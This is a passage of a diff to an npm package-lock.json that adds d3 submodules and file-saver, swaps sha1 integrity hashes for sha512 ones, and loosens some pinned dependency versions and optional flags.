+ "integrity": "sha512-RHhh1ZUJZfhgoqzWWuRhzQJvO7LavchhitSTHGu9oj6uuLFzYZVeBzaWTQ2qSO6bz2w55RMoOCf0MsLCDB6e0w=="
+ },
+ "d3-quadtree": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.6.tgz",
+ "integrity": "sha512-NUgeo9G+ENQCQ1LsRr2qJg3MQ4DJvxcDNCiohdJGHt5gRhBW6orIB5m5FJ9kK3HNL8g9F4ERVoBzcEwQBfXWVA=="
+ },
+ "d3-random": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz",
+ "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ=="
+ },
+ "d3-scale": {
+ "version": "2.2.2",
+ "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz",
+ "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==",
+ "requires": {
+ "d3-array": "^1.2.0",
+ "d3-collection": "1",
+ "d3-format": "1",
+ "d3-interpolate": "1",
+ "d3-time": "1",
+ "d3-time-format": "2"
+ }
+ },
+ "d3-scale-chromatic": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz",
+ "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==",
+ "requires": {
+ "d3-color": "1",
+ "d3-interpolate": "1"
+ }
+ },
+ "d3-selection": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.0.tgz",
+ "integrity": "sha512-EYVwBxQGEjLCKF2pJ4+yrErskDnz5v403qvAid96cNdCMr8rmCYfY5RGzWz24mdIbxmDf6/4EAH+K9xperD5jg=="
+ },
+ "d3-shape": {
+ "version": "1.3.5",
+ "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz",
+ "integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==",
+ "requires": {
+ "d3-path": "1"
+ }
+ },
+ "d3-time": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.0.11.tgz",
+ "integrity": "sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw=="
+ },
+ "d3-time-format": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz",
+ "integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==",
+ "requires": {
+ "d3-time": "1"
+ }
+ },
+ "d3-timer": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.9.tgz",
+ "integrity": "sha512-rT34J5HnQUHhcLvhSB9GjCkN0Ddd5Y8nCwDBG2u6wQEeYxT/Lf51fTFFkldeib/sE/J0clIe0pnCfs6g/lRbyg=="
+ },
+ "d3-transition": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz",
+ "integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==",
+ "requires": {
+ "d3-color": "1",
+ "d3-dispatch": "1",
+ "d3-ease": "1",
+ "d3-interpolate": "1",
+ "d3-selection": "^1.1.0",
+ "d3-timer": "1"
+ }
+ },
+ "d3-voronoi": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz",
+ "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg=="
+ },
+ "d3-zoom": {
+ "version": "1.8.3",
+ "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz",
+ "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==",
+ "requires": {
+ "d3-dispatch": "1",
+ "d3-drag": "1",
+ "d3-interpolate": "1",
+ "d3-selection": "1",
+ "d3-transition": "1"
+ }
+ },
"dashdash": {
"version": "1.14.1",
"resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
@@ -5199,6 +5461,11 @@
}
}
},
+ "file-saver": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz",
+ "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw=="
+ },
"filename-regex": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz",
@@ -5271,7 +5538,7 @@
"find-root": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz",
- "integrity": "sha1-q8/Iunb3CMQql7PWhbfpRQv7nOQ="
+ "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng=="
},
"find-up": {
"version": "1.1.2",
@@ -5523,15 +5790,14 @@
"dev": true,
"optional": true,
"requires": {
- "co": "4.6.0",
- "json-stable-stringify": "1.0.1"
+ "co": "^4.6.0",
+ "json-stable-stringify": "^1.0.1"
}
},
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"aproba": {
"version": "1.1.1",
@@ -5582,8 +5848,7 @@
"balanced-match": {
"version": "0.4.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"bcrypt-pbkdf": {
"version": "1.0.1",
@@ -5598,7 +5863,6 @@
"version": "0.0.9",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"inherits": "~2.0.0"
}
@@ -5607,7 +5871,6 @@
"version": "2.10.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"hoek": "2.x.x"
}
@@ -5616,7 +5879,6 @@
"version": "1.1.7",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"balanced-match": "^0.4.1",
"concat-map": "0.0.1"
@@ -5625,8 +5887,7 @@
"buffer-shims": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"caseless": {
"version": "0.12.0",
@@ -5643,14 +5904,12 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"combined-stream": {
"version": "1.0.5",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"delayed-stream": "~1.0.0"
}
@@ -5658,20 +5917,17 @@
"concat-map": {
"version": "0.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"core-util-is": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"cryptiles": {
"version": "2.0.5",
@@ -5717,8 +5973,7 @@
"delayed-stream": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"delegates": {
"version": "1.0.0",
@@ -5732,7 +5987,7 @@
"dev": true,
"optional": true,
"requires": {
- "jsbn": "0.1.1"
+ "jsbn": "~0.1.0"
}
},
"extend": {
@@ -5744,8 +5999,7 @@
"extsprintf": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"forever-agent": {
"version": "0.6.1",
@@ -5767,14 +6021,12 @@
"fs.realpath": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"fstream": {
"version": "1.0.11",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"graceful-fs": "^4.1.2",
"inherits": "~2.0.0",
@@ -5830,7 +6082,6 @@
"version": "7.1.2",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"fs.realpath": "^1.0.0",
"inflight": "^1.0.4",
@@ -5843,8 +6094,7 @@
"graceful-fs": {
"version": "4.1.11",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"har-schema": {
"version": "1.0.5",
@@ -5858,8 +6108,8 @@
"dev": true,
"optional": true,
"requires": {
- "ajv": "4.11.8",
- "har-schema": "1.0.5"
+ "ajv": "^4.9.1",
+ "har-schema": "^1.0.5"
}
},
"has-unicode": {
@@ -5883,8 +6133,7 @@
"hoek": {
"version": "2.16.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"http-signature": {
"version": "1.1.1",
@@ -5901,7 +6150,6 @@
"version": "1.0.6",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"once": "^1.3.0",
"wrappy": "1"
@@ -5910,8 +6158,7 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"ini": {
"version": "1.3.4",
@@ -5923,7 +6170,6 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -5937,8 +6183,7 @@
"isarray": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"isstream": {
"version": "0.1.2",
@@ -5952,7 +6197,7 @@
"dev": true,
"optional": true,
"requires": {
- "jsbn": "0.1.1"
+ "jsbn": "~0.1.0"
}
},
"jsbn": {
@@ -5973,7 +6218,7 @@
"dev": true,
"optional": true,
"requires": {
- "jsonify": "0.0.0"
+ "jsonify": "~0.0.0"
}
},
"json-stringify-safe": {
@@ -6011,14 +6256,12 @@
"mime-db": {
"version": "1.27.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"mime-types": {
"version": "2.1.15",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"mime-db": "~1.27.0"
}
@@ -6027,7 +6270,6 @@
"version": "3.0.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"brace-expansion": "^1.1.7"
}
@@ -6035,14 +6277,12 @@
"minimist": {
"version": "0.0.8",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"mkdirp": {
"version": "0.5.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"minimist": "0.0.8"
}
@@ -6095,8 +6335,7 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"oauth-sign": {
"version": "0.8.2",
@@ -6114,7 +6353,6 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"wrappy": "1"
}
@@ -6144,8 +6382,7 @@
"path-is-absolute": {
"version": "1.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"performance-now": {
"version": "0.2.0",
@@ -6156,8 +6393,7 @@
"process-nextick-args": {
"version": "1.0.7",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"punycode": {
"version": "1.4.1",
@@ -6195,7 +6431,6 @@
"version": "2.2.9",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"buffer-shims": "~1.0.0",
"core-util-is": "~1.0.0",
@@ -6240,7 +6475,6 @@
"version": "2.6.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"glob": "^7.0.5"
}
@@ -6248,8 +6482,7 @@
"safe-buffer": {
"version": "5.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"semver": {
"version": "5.3.0",
@@ -6307,7 +6540,6 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -6318,7 +6550,6 @@
"version": "1.0.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"safe-buffer": "^5.0.1"
}
@@ -6333,7 +6564,6 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -6348,7 +6578,6 @@
"version": "2.2.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"block-stream": "*",
"fstream": "^1.0.2",
@@ -6404,8 +6633,7 @@
"util-deprecate": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"uuid": {
"version": "3.0.1",
@@ -6434,15 +6662,14 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
}
}
},
"fstream": {
"version": "1.0.12",
"resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz",
- "integrity": "sha1-Touo7i1Ivk99DeUFRVVI6uWTIEU=",
+ "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==",
"requires": {
"graceful-fs": "^4.1.2",
"inherits": "~2.0.0",
@@ -6500,7 +6727,7 @@
"gaze": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz",
- "integrity": "sha1-xEFzPhO5J6yMD/C0w7Az8ogSkko=",
+ "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==",
"requires": {
"globule": "^1.0.0"
}
@@ -6570,7 +6797,6 @@
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
"integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=",
"dev": true,
- "optional": true,
"requires": {
"is-glob": "^2.0.0"
}
@@ -6614,7 +6840,7 @@
"globule": {
"version": "1.2.1",
"resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz",
- "integrity": "sha1-Xf+xsZHyLSB5epNptJ6rTpg5aW0=",
+ "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==",
"requires": {
"glob": "~7.1.1",
"lodash": "~4.17.10",
@@ -7820,8 +8046,7 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
"integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=",
- "dev": true,
- "optional": true
+ "dev": true
},
"is-finite": {
"version": "1.0.2",
@@ -7841,7 +8066,6 @@
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
"integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=",
"dev": true,
- "optional": true,
"requires": {
"is-extglob": "^1.0.0"
}
@@ -7906,8 +8130,7 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
"integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=",
- "dev": true,
- "optional": true
+ "dev": true
},
"is-promise": {
"version": "2.1.0",
@@ -8070,7 +8293,7 @@
"js-base64": {
"version": "2.5.1",
"resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz",
- "integrity": "sha1-Hvo57yxfeYC7F4St5KivLeMpESE="
+ "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw=="
},
"js-file-download": {
"version": "0.4.4",
@@ -8459,8 +8682,7 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"aproba": {
"version": "1.2.0",
@@ -8481,14 +8703,12 @@
"balanced-match": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"balanced-match": "^1.0.0",
"concat-map": "0.0.1"
@@ -8503,20 +8723,17 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"concat-map": {
"version": "0.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"core-util-is": {
"version": "1.0.2",
@@ -8617,7 +8834,7 @@
"dev": true,
"optional": true,
"requires": {
- "minimatch": "3.0.4"
+ "minimatch": "^3.0.4"
}
},
"inflight": {
@@ -8633,8 +8850,7 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"ini": {
"version": "1.3.5",
@@ -8646,9 +8862,8 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
- "number-is-nan": "1.0.1"
+ "number-is-nan": "^1.0.0"
}
},
"isarray": {
@@ -8661,7 +8876,6 @@
"version": "3.0.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"brace-expansion": "^1.1.7"
}
@@ -8669,14 +8883,12 @@
"minimist": {
"version": "0.0.8",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"minipass": {
"version": "2.2.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"safe-buffer": "^5.1.1",
"yallist": "^3.0.0"
@@ -8695,7 +8907,6 @@
"version": "0.5.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"minimist": "0.0.8"
}
@@ -8757,8 +8968,8 @@
"dev": true,
"optional": true,
"requires": {
- "ignore-walk": "3.0.1",
- "npm-bundled": "1.0.3"
+ "ignore-walk": "^3.0.1",
+ "npm-bundled": "^1.0.1"
}
},
"npmlog": {
@@ -8776,8 +8987,7 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"object-assign": {
"version": "4.1.1",
@@ -8789,7 +8999,6 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"wrappy": "1"
}
@@ -8875,8 +9084,7 @@
"safe-buffer": {
"version": "5.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"safer-buffer": {
"version": "2.1.2",
@@ -8912,7 +9120,6 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -8932,7 +9139,6 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -8976,14 +9182,12 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"yallist": {
"version": "3.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
}
}
},
@@ -9554,8 +9758,7 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
"integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=",
- "dev": true,
- "optional": true
+ "dev": true
},
"loose-envify": {
"version": "1.3.1",
@@ -10100,7 +10303,7 @@
"node-fetch": {
"version": "1.7.3",
"resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz",
- "integrity": "sha1-mA9vcthSEaU0fGsrwYxbhMPrR+8=",
+ "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==",
"requires": {
"encoding": "^0.1.11",
"is-stream": "^1.0.1"
@@ -10115,7 +10318,7 @@
"node-gyp": {
"version": "3.8.0",
"resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz",
- "integrity": "sha1-VAMEJhwzDoDQ1e3OJTpoyzlkIYw=",
+ "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==",
"requires": {
"fstream": "^1.0.0",
"glob": "^7.0.3",
@@ -10134,7 +10337,7 @@
"ajv": {
"version": "6.10.0",
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
- "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=",
+ "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
"requires": {
"fast-deep-equal": "^2.0.1",
"fast-json-stable-stringify": "^2.0.0",
@@ -10145,12 +10348,12 @@
"aws4": {
"version": "1.8.0",
"resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz",
- "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8="
+ "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ=="
},
"extend": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
- "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo="
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
},
"fast-deep-equal": {
"version": "2.0.1",
@@ -10160,7 +10363,7 @@
"har-validator": {
"version": "5.1.3",
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
- "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=",
+ "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
"requires": {
"ajv": "^6.5.5",
"har-schema": "^2.0.0"
@@ -10169,17 +10372,17 @@
"json-schema-traverse": {
"version": "0.4.1",
"resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
- "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA="
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
},
"mime-db": {
"version": "1.40.0",
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
- "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI="
+ "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA=="
},
"mime-types": {
"version": "2.1.24",
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
- "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=",
+ "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
"requires": {
"mime-db": "1.40.0"
}
@@ -10187,17 +10390,17 @@
"oauth-sign": {
"version": "0.9.0",
"resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
- "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU="
+ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
},
"psl": {
"version": "1.1.32",
"resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
- "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs="
+ "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
},
"request": {
"version": "2.88.0",
"resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
- "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=",
+ "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
"requires": {
"aws-sign2": "~0.7.0",
"aws4": "^1.8.0",
@@ -10224,7 +10427,7 @@
"safe-buffer": {
"version": "5.1.2",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
- "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0="
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
},
"semver": {
"version": "5.3.0",
@@ -10234,7 +10437,7 @@
"tough-cookie": {
"version": "2.4.3",
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
- "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=",
+ "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
"requires": {
"psl": "^1.1.24",
"punycode": "^1.4.1"
@@ -10243,7 +10446,7 @@
"uuid": {
"version": "3.3.2",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
- "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE="
+ "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
}
}
},
@@ -10325,7 +10528,7 @@
"node-sass": {
"version": "4.12.0",
"resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz",
- "integrity": "sha1-CRT1MZMjgBFKMMxfpPpjIzol8Bc=",
+ "integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==",
"requires": {
"async-foreach": "^0.1.3",
"chalk": "^1.1.1",
@@ -10349,7 +10552,7 @@
"ajv": {
"version": "6.10.0",
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
- "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=",
+ "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
"requires": {
"fast-deep-equal": "^2.0.1",
"fast-json-stable-stringify": "^2.0.0",
@@ -10360,7 +10563,7 @@
"aws4": {
"version": "1.8.0",
"resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz",
- "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8="
+ "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ=="
},
"cross-spawn": {
"version": "3.0.1",
@@ -10374,7 +10577,7 @@
"extend": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
- "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo="
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
},
"fast-deep-equal": {
"version": "2.0.1",
@@ -10384,7 +10587,7 @@
"har-validator": {
"version": "5.1.3",
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
- "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=",
+ "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
"requires": {
"ajv": "^6.5.5",
"har-schema": "^2.0.0"
@@ -10393,22 +10596,22 @@
"json-schema-traverse": {
"version": "0.4.1",
"resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
- "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA="
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
},
"lodash": {
